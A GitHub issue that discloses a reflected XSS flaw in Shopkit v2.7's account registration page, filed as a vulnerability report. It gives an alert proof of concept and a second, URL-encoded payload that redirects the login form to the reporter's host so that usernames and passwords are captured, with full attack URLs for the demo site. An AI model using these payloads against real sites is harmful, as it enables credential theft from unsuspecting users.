Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Login hijacking in register #223

Closed
1979139113 opened this issue Sep 23, 2019 · 0 comments
Closed

Login hijacking in register #223

1979139113 opened this issue Sep 23, 2019 · 0 comments

Comments

@1979139113
Copy link

In the latest version v2.7

First,I found a reflective XSS vulnerability in register.

The payload is:

"><img/src=x+onerror=alert("XSS_vulnerability")><xss="

https://shopkit.samnabi.com/account/register?email="><img/src=x+onerror=alert("XSS_vulnerability")><xss="

XSS

Then,I fount this XSS vulnerability could cause login hijacking

The payload is:

"><svg/onload%3d"var+form1+%3d+document.getElementById('loginform')%3bform1.action+%3d+'http%3a//127.0.0.1/test.php'%3b"><xss%3d"

https://shopkit.samnabi.com/account/register?email="><svg/onload%3d"var+form1+%3d+document.getElementById('loginform')%3bform1.action+%3d+'http%3a//127.0.0.1/test.php'%3b"><xss%3d"

When the user enters a username via this link,as shown below

图片
Then click on the "log in"

The username and password will be submitted to my link.

图片

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant